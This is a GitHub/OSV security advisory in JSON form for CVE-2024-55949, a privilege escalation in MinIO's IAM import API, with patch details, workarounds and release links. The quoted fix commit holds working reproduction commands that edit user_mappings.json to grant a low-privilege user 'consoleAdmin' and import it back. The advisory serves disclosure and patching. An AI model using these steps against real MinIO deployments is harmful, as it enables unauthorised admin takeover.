{"schema_version":"1.7.3","id":"GHSA-cwq8-g58r-32hg","published":"2024-12-16T17:27:53Z","modified":"2024-12-20T14:09:31Z","aliases":["BIT-minio-2024-55949","CVE-2024-55949","GO-2024-3336"],"summary":"MinIO vulnerable to privilege escalation in IAM import API","details":"### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} &\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n","affected":[{"package":{"name":"github.com/minio/minio","ecosystem":"Go","purl":"pkg:golang/github.com/minio/minio"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-20220623162515-580d9db85e04"},{"fixed":"0.0.0-20241213221912-68b004a48f41"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json"}}],"references":[{"type":"WEB","url":"https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-55949"},{"type":"WEB","url":"https://github.com/minio/minio/pull/20756"},{"type":"WEB","url":"https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"},{"type":"WEB","url":"https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"},{"type":"PACKAGE","url":"https://github.com/minio/minio"}],"database_specific":{"cwe_ids":["CWE-269"],"github_reviewed":true,"github_reviewed_at":"2024-12-16T17:27:53Z","nvd_published_at":"2024-12-16T20:15:13Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}